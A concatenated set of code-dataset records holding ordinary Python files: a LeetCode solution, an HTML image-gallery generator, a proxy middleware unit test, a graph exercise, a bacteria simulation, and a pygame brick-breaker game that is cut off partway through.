self.root = TreeNode(kingName)\n self.mem = {kingName: self.root}\n\n def birth(self, parentName: str, childName: str) -> None:\n p_node = self.mem[parentName]\n c_node = TreeNode(childName)\n p_node.children.append(c_node)\n self.mem[childName] = c_node\n\n def death(self, name: str) -> None:\n node = self.mem[name]\n node.is_death = True\n\n def getInheritanceOrder(self) -> List[str]:\n res = []\n stack = [self.root]\n while stack:\n node = stack.pop()\n if not node.is_death:\n res.append(node.name)\n for child in reversed(node.children):\n stack.append(child)\n return res\n\n\n# Your ThroneInheritance object will be instantiated and called as such:\n# obj = ThroneInheritance(kingName)\n# obj.birth(parentName,childName)\n# obj.death(name)\n# param_3 = obj.getInheritanceOrder()\n\ndef main():\n pass\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"Week18/lc周赛/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"383143559","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#-------------------------------------------------------------------------------\n# Name:\n# Purpose: This .py file creates htmls containing all the extracted images illustrated method by method and instance to instance\n#\n# Required libs: webbrowser,glob,os,shutil\n# Author: konkonst\n#\n# Created: 30/03/2014\n# Copyright: (c) ITI (CERTH) 2014\n# Licence: \n#-------------------------------------------------------------------------------\nimport webbrowser,glob,os,shutil\nlistofdirs = os.listdir(\"./data/\")\nfilename = [x for x in listofdirs]\nfor idx,files in enumerate(filename):\n print(str(idx+1) + '.' + files)\nselection = int(input('Select a dataset from the above: '))-1\nrequestedPhotos = int(input('How many photos do you want to see?: '))\ndataset_path = './data/'+filename[selection]+'/'\ntext_files = [name for name in os.listdir(dataset_path) if os.path.isdir(os.path.join(dataset_path, name))]\nfor method in text_files:\n print(method)\n if os.path.exists(dataset_path+method+'.html'):\n os.remove(dataset_path+method+'.html')\n f = open(dataset_path+method+'.html','w')\n message = '\\nImage Ranking based on graph structure analysis'\n meth_path = dataset_path+method+'/results/'\n #Write method's header\n message += '

The method used here is: '+method+'

'\n # message += '

'\n # message += '.\\t'.join([x.strip() for x in (open(meth_path+'basicStats.txt'))]) #write method's basic stats\n # message += '

'\n if method.startswith('static'):\n if os.path.exists(meth_path+'crowdSource/'):\n shutil.rmtree(meth_path+'crowdSource/')\n os.makedirs(meth_path+'crowdSource/')\n else:\n os.makedirs(meth_path+'crowdSource/')\n meth_path2 = meth_path+'html/'\n if 'PersonCentered' in method or 'EventCentered' in method:\n result_folders = [name for name in os.listdir(meth_path2) if os.path.isdir(os.path.join(meth_path2, name))]\n for folder in result_folders:\n folder_path = meth_path2+folder+'/'\n try:\n int(folder)\n intro = 'The event chosen is: '\n eventFlag = True\n except:\n intro = 'The person of interest is: '\n eventFlag = False\n pass\n message += '

'+intro+folder+'

'\n if eventFlag:\n message += '
'.join([x.split('\\t')[4] for x in (open(folder_path+'ReciprocalRanks.txt')).readlines()[:5]]) #print 5 event captions\n # message += '

'\n # message += '.\\t'.join([x.strip() for x in (open(folder_path+'basicStats.txt'))]) #write instance's basic stats\n # message += '

'\n urlfiles = [f for f in os.listdir(folder_path) if f.endswith('.txt')]\n for k, urlf in enumerate(urlfiles): \n theFile = open(meth_path+'crowdSource/'+urlf,'a')\n message += '

'+urlf[:-4]+'

'\n fileList = list(open(folder_path + urlf,'r'))\n urlList = [x.split('\\t') for x in fileList]\n message += ''\n message += ''\n for line in urlList[:requestedPhotos]:\n theFile.write('\\t'.join(line))\n message += ''\n theFile.close()\n message += ''\n message += ''\n for line in urlList[:requestedPhotos]:\n message += ''\n message += ''\n message += ''\n for line in urlList[:requestedPhotos]:\n message += ''\n message += ''\n message += '

'+line[2]+'

'+'
'.join(line[5].split(' '))+'

'\n\n else:\n urlfiles = [f for f in os.listdir(meth_path2) if f.endswith('.txt')]\n for k, urlf in enumerate(urlfiles):\n theFile = open(meth_path+'crowdSource/'+urlf,'a')\n message += '

'+urlf[:-4]+'

'\n fileList = list(open(meth_path2 + urlf,'r'))\n urlList = [x.split('\\t') for x in fileList]\n message += ''\n message += ''\n for line in urlList[:requestedPhotos]:\n theFile.write('\t'.join(line))\n message += ''\n theFile.close()\n message += ''\n message += ''\n for line in urlList[:requestedPhotos]:\n message += ''\n message += ''\n message += ''\n for line in urlList[:requestedPhotos]:\n message += ''\n message += ''\n message += '

'+line[2]+'

'+'
'.join(line[5].split(' '))+'

'\n else:\n granularity_folders = [name for name in os.listdir(meth_path) if os.path.isdir(os.path.join(meth_path, name))]\n for granul in granularity_folders:\n message += '

Granularity used is: '+granul[3:]+'

'\n granul_path = meth_path+granul+'/html/'\n if os.path.exists(meth_path+granul+'/crowdSource/'):\n shutil.rmtree(meth_path+granul+'/crowdSource/')\n os.makedirs(meth_path+granul+'/crowdSource/')\n else:\n os.makedirs(meth_path+granul+'/crowdSource/')\n if 'PersonCentered' in method:\n result_folders = [f for f in os.listdir(granul_path) if not f.endswith('.txt')]\n for folder in result_folders:\n folder_path = granul_path+folder+'/'\n intro = 'The person of interest is: '\n message += '

'+intro+folder+'

'\n # message += '

'\n # message += '.\\t'.join([x.strip() for x in (open(folder_path+'basicStats.txt'))]) #write instance's basic stats\n # message += '

'\n urlfiles = [f for f in os.listdir(folder_path) if f.endswith('.txt')]\n for k, urlf in enumerate(urlfiles):\n theFile = open(meth_path+granul+'/crowdSource/'+urlf,'a')\n message += '

'+urlf[:-4]+'

'\n fileList = list(open(folder_path + urlf,'r'))\n urlList = [x.split('\\t') for x in fileList]\n message += ''\n message += ''\n for line in urlList[:requestedPhotos]:\n theFile.write('\t'.join(line))\n message += ''\n theFile.close()\n message += ''\n message += ''\n for line in urlList[:requestedPhotos]:\n message += ''\n message += ''\n message += ''\n for line in urlList[:requestedPhotos]:\n message += ''\n message += ''\n message += '

'+line[2]+'

'+'
'.join(line[5].split(' '))+'

'\n else:\n # message += '

'+'.\\t'.join([x.strip() for x in (open(granul_path+'Demon_'+granul+'_stats.txt'))]) #write instance's basic stats\n # message += '

'\n urlfiles = [f for f in os.listdir(granul_path) if f.endswith('.txt')]\n for k, urlf in enumerate(urlfiles):\n theFile = open(meth_path+granul+'/crowdSource/'+urlf,'a')\n message += '

'+urlf[:-4]+'

'\n fileList = list(open(granul_path + urlf,'r'))\n urlList = [x.split('\\t') for x in fileList]\n message += ''\n message += ''\n for line in urlList[:requestedPhotos]:\n theFile.write('\t'.join(line))\n message += ''\n theFile.close()\n message += ''\n message += ''\n for line in urlList[:requestedPhotos]:\n message += ''\n message += ''\n message += ''\n for line in urlList[:requestedPhotos]:\n message += ''\n message += ''\n message += '

'+line[2]+'

'+'
'.join(line[5].split(' '))+'

'\n message += '
'\n message += ''\n\n f.write(message)\n f.close()\n\n","sub_path":"python/createImageHTML.py","file_name":"createImageHTML.py","file_ext":"py","file_size_in_byte":9598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"115720259","text":"import mock\nimport unittest\n\nfrom paste import proxy as wsgi_proxy\nfrom oslo.config import cfg\n\nfrom fusion.common.proxy_middleware import ProxyMiddleware\n\n\nclass ProxyMiddlewareTest(unittest.TestCase):\n @mock.patch.object(wsgi_proxy, 'make_transparent_proxy')\n def test_process_request_proxies_to_heat(self, mock_proxy):\n cfg.CONF.reset()\n cfg.CONF = mock.Mock(proxy=mock.Mock(heat_host=\"foo.com\"))\n app = mock.MagicMock()\n conf = mock.MagicMock()\n req = mock.MagicMock(environ={})\n final_response = mock.MagicMock()\n req.get_response.side_effect = [None, final_response]\n\n middleware = ProxyMiddleware(app, conf)\n response = middleware.process_request(req)\n\n self.assertEqual(response, final_response)\n calls = [mock.call(app), mock.call(mock_proxy.return_value)]\n req.get_response.assert_has_calls(calls)\n\n def test_process_request_by_fusion(self):\n cfg.CONF.reset()\n cfg.CONF = mock.Mock(proxy=mock.Mock(heat_host=\"foo.com\"))\n app = mock.MagicMock()\n conf = mock.MagicMock()\n req = mock.MagicMock(environ={\n 'wsgiorg.routing_args': (None, \"200 OK\")\n })\n final_response = mock.MagicMock()\n req.get_response.return_value = final_response\n\n middleware = ProxyMiddleware(app, conf)\n response = middleware.process_request(req)\n\n self.assertEqual(response, final_response)\n req.get_response.assert_called_once_with(app)\n","sub_path":"fusion/tests/unit/test_proxy_middleware.py","file_name":"test_proxy_middleware.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"47262914","text":"import sys\nsys.stdin = open('최소이동거리_input.txt')\n\ndef min_dis(x):\n Q = []\n key[x] = 0\n Q.append(x)\n\n while Q:\n a = Q.pop(0)\n for i in range(len(data)):\n if data[i][0] == a:\n if key[a] + data[i][2] < key[data[i][1]]:\n key[data[i][1]] = key[a] + data[i][2]\n Q.append(data[i][1])\n\n\nT = int(input())\n\nfor tc in range(1, T+1):\n N, E = map(int, input().split()) # 도착지 N\n data = [list(map(int, input().split())) for _ in range(E)]\n\n\n key = [97987987] * (N+1) #가중치\n\n min_dis(0)\n\n print('#{} {}'.format(tc, key[-1]))","sub_path":"work/190924 실습(Adv 그래프 최소비용)/서혜영_0924/최소이동거리.py","file_name":"최소이동거리.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"351822980","text":"from abc import ABC, abstractmethod\nfrom random import randint\nfrom org import Org\n\n\nclass Bacteria(Org):\n NAME = 'b'\n\n def __init__(self, field, rows, cols, i, j):\n super().__init__(rows, cols)\n self.field = field\n self.i = i\n self.j = j\n\n def share(self): #функция деления с вероятностью 30%\n r = randint(0, 100)\n if r <= 30: #условие деления бактерии\n x = randint(0, self.rows - 1)\n y = randint(0, self.cols - 1)\n while None in self.field and self.field[x][y] is not None: #поиск места для новой бактерии\n x = randint(0, self.rows - 1)\n y = randint(0, self.cols - 1)\n if self.field[x][y] is None:\n self.field[x][y] = Bacteria(self.field, self.rows, self.cols, x, y) #создание экземпляра класса Бактерия в свободной клетке поля\n return self.field\n\n def step(self):\n self.field = self.share()\n return self.field\n","sub_path":"bacteria.py","file_name":"bacteria.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"54008916","text":"import math, pygame, random, time\r\n\r\n# Call this function so the Pygame library can initialize itself\r\npygame.init()\r\n\r\n###COLOURS###\r\ngrey = (195, 195, 195)\r\ndarkgrey = (150, 150, 150)\r\nwhite = (210, 210, 210)\r\nblack = (0, 0, 0)\r\n\r\n###IMAGES###\r\n\r\n#Arrow Keys\r\n\r\nleftArrow = pygame.image.load(\"leftarrow.png\")\r\nleftArrowKey = pygame.transform.scale(leftArrow, (75, 75))\r\n\r\nrightArrow = pygame.image.load(\"rightarrow.png\")\r\nrightArrowKey = pygame.transform.scale(rightArrow, (75, 75))\r\n\r\n#Platform\r\nplatformImage = pygame.image.load(\"platform.png\")\r\nplatformEnlarged = pygame.transform.scale(platformImage, (142, 30))\r\n\r\n#Ball\r\nball = pygame.image.load(\"ball.png\")\r\nballImage = pygame.transform.scale(ball,(25,25))\r\nballImageEnlarged = pygame.transform.scale(ball,(75,75))\r\n\r\n#Horizontal Border\r\nhorizontalBorder = pygame.image.load(\"cautiontape.png\")\r\nborderImageH = pygame.transform.scale(horizontalBorder, (1152, 25))\r\n\r\n#Vertical Border\r\nverticalBorder = pygame.image.load(\"caution_tape.png\")\r\nborderImageV = pygame.transform.scale(verticalBorder, (25, 832))\r\n\r\n#Metal Brick\r\nmetalBrick = pygame.image.load(\"metalbrick.png\")\r\nmetalBrickImage = pygame.transform.scale(metalBrick, (128, 64))\r\n\r\n#Brick\r\nbrick = pygame.image.load(\"brick.png\")\r\nbrickImage = pygame.transform.scale(brick, (128, 64))\r\n\r\n###SOUNDS###\r\ncollision_sound = pygame.mixer.Sound(\"bump.wav\")\r\npygame.mixer.music.load(\"backgroundmusic.wav\")\r\ngameover_sound = pygame.mixer.Sound(\"gameover.wav\")\r\n\r\n###################################################################################################CLASSES####################################################################################################\r\n\r\n#BALL CLASS\r\n\r\nclass Ball(pygame.sprite.Sprite):\r\n \r\n def __init__(self):\r\n\r\n super().__init__()\r\n \r\n self.image = ballImage #Sets the sprites image\r\n\r\n #Get the screen width and height for reference\r\n self.screenheight = pygame.display.get_surface().get_height()\r\n self.screenwidth = pygame.display.get_surface().get_width()\r\n\r\n self.rect = self.image.get_rect() #Create a rectangle around the image for collision detection\r\n\r\n #Get the center of the rect\r\n self.center = self.rect.center\r\n\r\n #Create variables for the x coordinate and y coordinate of the center\r\n self.centerx = self.center[0]\r\n self.centery = self.center[1]\r\n\r\n #Starting point for the rect of the image on the screen\r\n self.rect.x = 0.485 * self.screenwidth\r\n self.rect.y = 0.85 * self.screenheight\r\n\r\n #Creates 2 variables for the x speed and y speed of the ball\r\n self.speedx = 0\r\n self.speedy = 0\r\n\r\n # Direction of ball in degrees\r\n self.direction = 0\r\n \r\n self.reset() #Puts the ball at its starting point\r\n \r\n def reset(self):\r\n #Put the rect of the ball back to its starting position\r\n self.x = self.screenwidth * 0.485\r\n self.y = self.screenheight * 0.85\r\n \r\n #Make the speed of the ball equal to 10\r\n self.speedx = 10\r\n self.speedy = 10\r\n\r\n #Choose a random direction for the ball to shoot out at\r\n self.direction = random.randrange(-75, 75)\r\n \r\n # Updates the ball\r\n def update(self):\r\n \r\n # Sine and Cosine work in degrees, so they have to be converted\r\n direction_radians = math.radians(self.direction)\r\n \r\n # Change the position (x and y) according to the speed and direction\r\n self.x += self.speedx * math.sin(direction_radians)\r\n self.y -= self.speedy * math.cos(direction_radians)\r\n \r\n if self.y > 832: #If the ball falls below the screen\r\n\r\n #Reset the ball and player positions\r\n self.reset()\r\n player.playerReset()\r\n \r\n #Update the player's lives to -1\r\n player.lives -= 1\r\n\r\n #Check if the player has any lives left\r\n if player.lives == 0:\r\n gameLose() #If they don't, then take them to the losing screen\r\n\r\n else: #Otherwise, they arre still playing\r\n \r\n #Draw the you lost a life screen\r\n mediumText = pygame.font.Font(\"techno_hideo.ttf\", 100)\r\n textSurf, textRect = text_objects(\"You Lost a Life!\",mediumText)\r\n textRect.center = ((screenwidth / 2), (screenheight * 0.3))\r\n screen.blit(textSurf, textRect)\r\n smallerText = pygame.font.Font(\"techno_hideo.ttf\", 50)\r\n livesMessage = \"Lives Remaining: \" + str(player.lives)\r\n textSurf, textRect = text_objects(livesMessage, smallerText)\r\n textRect.center = ((screenwidth / 2), (screenheight * 0.5))\r\n screen.blit(textSurf, textRect)\r\n \r\n pygame.display.update() #Update display\r\n time.sleep(4) #Wait for 4 seconds\r\n\r\n \r\n # Move the image to where the new x and y are\r\n self.rect.x = self.x\r\n self.rect.y = self.y\r\n \r\n\r\n#PLATFORM CLASS\r\n\r\nclass Player(pygame.sprite.Sprite):\r\n \r\n def __init__(self):\r\n\r\n super().__init__()\r\n \r\n self.image = platformImage #Sets the sprites image\r\n \r\n self.rect = self.image.get_rect() #Create a rectangle around the image for collision detection\r\n \r\n #Get the screen width and height for reference\r\n self.screenheight = pygame.display.get_surface().get_height()\r\n self.screenwidth = pygame.display.get_surface().get_width()\r\n\r\n self.lives = 3 #Sets player's lives to 3\r\n self.score = 0 #Sets player's score to 0\r\n\r\n #Puts the platform rect at its starting position\r\n self.rect.x = 0.475 * self.screenwidth \r\n self.rect.y = 0.9 * self.screenheight\r\n \r\n def playerReset(self): #Resets the platform to its original position\r\n self.rect.x = 0.435 * self.screenwidth\r\n self.rect.y = 0.9 * self.screenheight\r\n \r\n def move(self, dx, dy):\r\n \r\n # Move each axis separately if dx or dy have a value (if the platform has been moved)\r\n if dx != 0:\r\n self.Update(dx, 0)\r\n if dy != 0:\r\n self.Update(0, dy)\r\n \r\n def Update(self, dx, dy):\r\n \r\n #Move the rect to its new location\r\n self.rect.x += dx\r\n self.rect.y += dy\r\n \r\n # Make sure the platform doesn't go past the borders\r\n if self.rect.right > self.screenwidth - 25:\r\n self.rect.right = self.screenwidth - 25\r\n if self.rect.left < 25:\r\n self.rect.left = 25\r\n\r\n#NEXT 3 CLASSES ARE FOR THE OUTSIDE BORDERS\r\n\r\nclass hBorder(pygame.sprite.Sprite):\r\n\r\n def __init__(self):\r\n\r\n super().__init__()\r\n\r\n self.image = borderImageH #Sets the sprites image\r\n\r\n self.rect = self.image.get_rect() #Create a rectangle around the image for collision detection\r\n\r\n #Put the rect of the image where it needs to be\r\n self.rect.x = 0\r\n self.rect.y = 0\r\n\r\nclass VBorder_L(pygame.sprite.Sprite):\r\n \r\n def __init__(self):\r\n\r\n super().__init__()\r\n\r\n self.image = borderImageV #Sets the sprites image\r\n\r\n self.rect = self.image.get_rect() #Create a rectangle around the image for collision detection\r\n\r\n #Put the rect of the image where it needs to be\r\n self.rect.x = 0\r\n self.rect.y = 0\r\n\r\nclass VBorder_R(pygame.sprite.Sprite):\r\n \r\n def __init__(self):\r\n\r\n super().__init__()\r\n\r\n self.screenwidth = pygame.display.get_surface().get_width()\r\n\r\n self.image = borderImageV #Sets the sprites image\r\n\r\n self.rect = self.image.get_rect() #Create a rectangle around the image for collision detection\r\n\r\n #Put the rect of the image where it needs to be\r\n self.rect.x = self.screenwidth - 25\r\n self.rect.y = 0\r\n\r\nclass MetalBrick(pygame.sprite.Sprite):\r\n\r\n def __init__(self):\r\n\r\n super().__init__()\r\n\r\n self.image = metalBrickImage #Sets the sprites image\r\n\r\n self.rect = self.image.get_rect() #Create a rectangle around the image for collision detection\r\n\r\n def display(self, position):\r\n\r\n #Sets two variables to equal the x and y coordinates passed on by the list of positions from the tilemap\r\n self.x = position[0]\r\n self.y = position[1]\r\n\r\n #Rects the image at the position coordinates\r\n self.rect.x = self.x\r\n self.rect.y = self.y\r\n\r\nclass Brick(pygame.sprite.Sprite):\r\n\r\n def __init__(self):\r\n\r\n super().__init__()\r\n\r\n self.image = brickImage #Sets the sprites image\r\n\r\n self.rect = self.image.get_rect() #Create a rectangle around the image for collision detection\r\n\r\n def display(self, position):\r\n\r\n #Sets two variables to equal the x and y coordinates passed on by the list of positions from the tilemap\r\n self.x = position[0]\r\n self.y = position[1]\r\n\r\n #Rects the image at the position coordinates\r\n self.rect.x = self.x\r\n self.rect.y = self.y\r\n\r\n########################################################################################################SCREENS###############################################################################################\r\n\r\n#Function used to display text\r\ndef text_objects(text, font):\r\n textSurface = font.render(text, True, black)\r\n return textSurface, textSurface.get_rect()\r\n\r\n#INTRO SCREEN\r\ndef gameIntro():\r\n \r\n pygame.mixer.music.play(-1) #Play the background music\r\n exit_program = False\r\n \r\n while not exit_program:\r\n #If quit, quit\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n exit_program = True\r\n pygame.quit()\r\n quit()\r\n \r\n screen.fill(grey) #Fill the screen with the background colour\r\n\r\n #Get positions of the mouse and mouse click\r\n mouse = pygame.mouse.get_pos()\r\n click = pygame.mouse.get_pressed()\r\n \r\n ###BUTTONS###\r\n\r\n\r\n #QUIT BUTTON\r\n if screenwidth/2 + 250 > mouse[0] > screenwidth/2 - 250 and 600 + 40 > mouse[1] > 600: #If the mouse is over the button, draw a lighter version\r\n pygame.draw.rect(screen, black, (screenwidth/2 - 250, 600, 500, 60))\r\n pygame.draw.rect(screen, white, (screenwidth/2 - 240, 610, 480, 40))\r\n if click[0] == 1: #If they press the button, quit pygame\r\n pygame.quit() \r\n else:\r\n pygame.draw.rect(screen, black, (screenwidth/2 - 250, 600, 500, 60))\r\n pygame.draw.rect(screen, darkgrey, (screenwidth/2 - 240, 610, 480, 40))\r\n \r\n \r\n #INSTRUCTIONS BUTTON\r\n if screenwidth/2 + 250 > mouse[0] > screenwidth/2 - 250 and 530 + 40 > mouse[1] > 530: #If the mouse is over the button, draw a lighter version\r\n pygame.draw.rect(screen, black, (screenwidth/2 - 250, 530, 500, 60))\r\n pygame.draw.rect(screen, white, (screenwidth/2 - 240, 540, 480, 40))\r\n if click[0] == 1: #If they press the button, go to the instructions screen\r\n gameInstructions()\r\n else:\r\n pygame.draw.rect(screen, black, (screenwidth/2 - 250, 530, 500, 60))\r\n pygame.draw.rect(screen, darkgrey, (screenwidth/2 - 240, 540, 480, 40))\r\n\r\n \r\n #PLAY GAME BUTTON\r\n if screenwidth/2 + 250 > mouse[0] > screenwidth/2 - 250 and 460 + 40 > mouse[1] > 460: #If the mouse is over the button, draw a lighter version\r\n pygame.draw.rect(screen, black, (screenwidth/2 - 250, 460, 500, 60))\r\n pygame.draw.rect(screen, white, (screenwidth/2 - 240, 470, 480, 40))\r\n if click[0] == 1: #If they press the button, run the game loop\r\n gameLoop()\r\n else:\r\n pygame.draw.rect(screen, black, (screenwidth/2 - 250, 460, 500, 60))\r\n pygame.draw.rect(screen, darkgrey, (screenwidth/2 - 240, 470, 480, 40))\r\n\r\n \r\n #Creates the fonts\r\n smallText = pygame.font.Font(\"techno_hideo.ttf\", 30)\r\n bigText = pygame.font.Font(\"techno_hideo.ttf\", 150)\r\n\r\n #Displays the Play Game text\r\n textSurf, textRect = text_objects(\"Play Game\", smallText)\r\n textRect.center = ((screenwidth/2), (470 + 20))\r\n screen.blit(textSurf, textRect)\r\n\r\n #Displays the Instructions text\r\n textSurf, textRect = text_objects(\"Instructions\", smallText)\r\n textRect.center = ((screenwidth/2), (540 + 20))\r\n screen.blit(textSurf, textRect)\r\n\r\n #Displays the Quit text\r\n textSurf, textRect = text_objects(\"Quit\", smallText)\r\n textRect.center = ((screenwidth/2), (610 + 20))\r\n screen.blit(textSurf, textRect)\r\n\r\n #Displays the title\r\n \r\n textSurf, textRect = text_objects(\"Nick's Bricks\", bigText)\r\n textRect.center = ((screenwidth / 2), (screenheight * 0.3))\r\n screen.blit(textSurf, textRect)\r\n \r\n pygame.display.update() #Updates display\r\n clock.tick(30) #FPS to 30\r\n\r\n#INSTRUCTIONS SCREEN\r\ndef gameInstructions():\r\n \r\n exit_program = False\r\n \r\n while not exit_program:\r\n #If quit, quit\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n exit_program = True\r\n pygame.quit()\r\n quit()\r\n \r\n screen.fill(grey) #Fill the screen with the background colour\r\n\r\n #Get positions of the mouse and mouse click\r\n mouse = pygame.mouse.get_pos()\r\n click = pygame.mouse.get_pressed()\r\n\r\n #Creates the fonts\r\n smallText = pygame.font.Font(\"techno_hideo.ttf\", 20)\r\n medText = pygame.font.Font(\"techno_hideo.ttf\", 30)\r\n\r\n ###DISPLAY###\r\n \r\n #DRAWS PLATFORM STUFF\r\n pygame.draw.rect(screen, black, (90, 90, 620, 180))\r\n pygame.draw.rect(screen, darkgrey, (100, 100, 600, 160))\r\n screen.blit(platformEnlarged, (875, 170))\r\n screen.blit(leftArrowKey, (287, 175))\r\n screen.blit(rightArrowKey, (437, 175))\r\n textSurf, textRect = text_objects(\"Move the platform with the arrow keys.\", smallText)\r\n textRect.center = ((400), (130))\r\n screen.blit(textSurf, textRect)\r\n\r\n #DRAWS BALL STUFF\r\n pygame.draw.rect(screen, black, (90, 290, 620, 180))\r\n pygame.draw.rect(screen, darkgrey, (100, 300, 600, 160))\r\n textSurf, textRect = text_objects(\"Bounce the ball off the platform.\", smallText)\r\n textRect.center = ((400), (342))\r\n screen.blit(textSurf, textRect)\r\n textSurf, textRect = text_objects(\"If it falls below the platform, you lose a life.\", smallText)\r\n textRect.center = ((400), (405))\r\n screen.blit(textSurf, textRect)\r\n screen.blit(ballImageEnlarged, (912, 335))\r\n\r\n\r\n #DRAWS BRICKS STUFF\r\n pygame.draw.rect(screen, black, (90, 490, 620, 180))\r\n pygame.draw.rect(screen, darkgrey, (100, 500, 600, 160))\r\n textSurf, textRect = text_objects(\"Break the normal bricks to gain points.\", smallText)\r\n textRect.center = ((400), (542))\r\n screen.blit(textSurf, textRect)\r\n textSurf, textRect = text_objects(\"Metal bricks cannot be broken.\", smallText)\r\n textRect.center = ((400), (605))\r\n screen.blit(textSurf, textRect)\r\n screen.blit(brickImage, (880, 512))\r\n screen.blit(metalBrickImage,(880, 589))\r\n\r\n pygame.draw.rect(screen, black, (screenwidth/2 - 250, 700, 500, 60))\r\n pygame.draw.rect(screen, darkgrey, (screenwidth/2 - 240, 710, 480, 40))\r\n textSurf, textRect = text_objects(\"Break all the bricks to win!\", smallText)\r\n textRect.center = ((screenwidth/2), (710 + 20))\r\n screen.blit(textSurf, textRect)\r\n\r\n #DRAWS BACK BUTTON STUFF\r\n if 0 + 170 > mouse[0] > 0 and 770 + 70 > mouse[1] > 770: #If the mouse is over the button, display a lighter version\r\n pygame.draw.rect(screen, black, (0, 770, 170, 70))\r\n pygame.draw.rect(screen, white, (0, 780, 160, 60))\r\n if click[0] == 1:\r\n gameIntro() #If they click back, go back to the intro screen\r\n else:\r\n pygame.draw.rect(screen, black, (0, 770, 170, 70))\r\n pygame.draw.rect(screen, darkgrey, (0, 780, 160, 60))\r\n\r\n #Back button text\r\n textSurf, textRect = text_objects(\"Back\", medText)\r\n textRect.center = ((75), (807))\r\n screen.blit(textSurf, textRect)\r\n \r\n pygame.display.update() #Updates display\r\n clock.tick(30) #FPS to 30\r\n \r\n#LOSING SCREEN \r\ndef gameLose():\r\n \r\n pygame.mixer.music.stop() #Stop the background music\r\n pygame.mixer.Sound.play(gameover_sound) #Play the game over sound\r\n \r\n exit_program = False\r\n \r\n while not exit_program:\r\n #If quit, quit\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n exit_program = True\r\n pygame.quit()\r\n \r\n screen.fill(grey) #Fill the screen with the background colour\r\n\r\n #Get positions of the mouse and mouse click\r\n mouse = pygame.mouse.get_pos()\r\n click = pygame.mouse.get_pressed()\r\n\r\n\r\n #Fonts\r\n bigText = pygame.font.Font(\"techno_hideo.ttf\", 150)\r\n mediumText = pygame.font.Font(\"techno_hideo.ttf\", 90)\r\n smallText = pygame.font.Font(\"techno_hideo.ttf\", 30)\r\n \r\n ###BUTTONS###\r\n\r\n #QUIT BUTTON\r\n if screenwidth/2 + 250 > mouse[0] > screenwidth/2 - 250 and 600 + 40 > mouse[1] > 600: #If the mouse is over the button, display a lighter version \r\n pygame.draw.rect(screen, black, (screenwidth/2 - 250, 600, 500, 60))\r\n pygame.draw.rect(screen, white, (screenwidth/2 - 240, 610, 480, 40))\r\n if click[0] == 1: #If they click the quit button, quit\r\n pygame.quit()\r\n else:\r\n pygame.draw.rect(screen, black, (screenwidth/2 - 250, 600, 500, 60))\r\n pygame.draw.rect(screen, darkgrey, (screenwidth/2 - 240, 610, 480, 40))\r\n\r\n #RETRY BUTTON\r\n if screenwidth/2 + 250 > mouse[0] > screenwidth/2 - 250 and 530 + 40 > mouse[1] > 530: #If the mouse is over the button, display a lighter version\r\n pygame.draw.rect(screen, black, (screenwidth/2 - 250, 530, 500, 60))\r\n pygame.draw.rect(screen, white, (screenwidth/2 - 240, 540, 480, 40))\r\n if click[0] == 1: #If they click the retry button, restart the game loop\r\n gameLoop()\r\n else:\r\n pygame.draw.rect(screen, black, (screenwidth/2 - 250, 530, 500, 60))\r\n pygame.draw.rect(screen, darkgrey, (screenwidth/2 - 240, 540, 480, 40))\r\n\r\n #Text on the Retry button\r\n textSurf, textRect = text_objects(\"Retry\", smallText)\r\n textRect.center = ((screenwidth/2), (540 + 20))\r\n screen.blit(textSurf, textRect)\r\n\r\n #Text on the Quit button\r\n textSurf, textRect = text_objects(\"Quit\", smallText)\r\n textRect.center = ((screenwidth/2), (610 + 20))\r\n screen.blit(textSurf, textRect)\r\n\r\n #You lose text\r\n textSurf, textRect = text_objects(\"You Lose!\", bigText)\r\n textRect.center = ((screenwidth / 2), (screenheight * 0.3))\r\n screen.blit(textSurf, textRect)\r\n\r\n #Score text\r\n losingMessage = \"Score: \" + str(player.score * 100)\r\n textSurf, textRect = text_objects(losingMessage, mediumText)\r\n textRect.center = ((screenwidth / 2), (screenheight * 0.5))\r\n screen.blit(textSurf, textRect)\r\n \r\n pygame.display.update() #Update display\r\n clock.tick(30) #FPS to 30\r\n\r\n\r\n#WIN SCREEN\r\ndef gameWin():\r\n \r\n exit_program = False\r\n \r\n while not exit_program:\r\n #If quit, quit\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n exit_program = True\r\n pygame.quit()\r\n \r\n screen.fill(grey) #Fill the screen with the background colour\r\n\r\n #Get positions of the mouse and mouse click\r\n mouse = pygame.mouse.get_pos()\r\n click = pygame.mouse.get_pressed()\r\n\r\n #FONTS\r\n medText = pygame.font.Font(\"techno_hideo.ttf\", 100)\r\n mediumText = pygame.font.Font(\"techno_hideo.ttf\", 90)\r\n smallText = pygame.font.Font(\"techno_hideo.ttf\", 30)\r\n \r\n ###BUTTONS###\r\n \r\n #QUIT BUTTON\r\n if screenwidth/2 + 250 > mouse[0] > screenwidth/2 - 250 and 600 + 40 > mouse[1] > 600: #If the mouse is over the button, display a lighter version \r\n pygame.draw.rect(screen, black, (screenwidth/2 - 250, 600, 500, 60))\r\n pygame.draw.rect(screen, white, (screenwidth/2 - 240, 610, 480, 40))\r\n if click[0] == 1: #If they click the quit button, quit\r\n pygame.quit()\r\n else:\r\n pygame.draw.rect(screen, black, (screenwidth/2 - 250, 600, 500, 60))\r\n pygame.draw.rect(screen, darkgrey, (screenwidth/2 - 240, 610, 480, 40))\r\n\r\n if screenwidth/2 + 250 > mouse[0] > screenwidth/2 - 250 and 530 + 40 > mouse[1] > 530: #If the mouse is over the button, display a lighter version\r\n pygame.draw.rect(screen, black, (screenwidth/2 - 250, 530, 500, 60))\r\n pygame.draw.rect(screen, white, (screenwidth/2 - 240, 540, 480, 40))\r\n if click[0] == 1: #If they click the play again button, restart the game loop\r\n 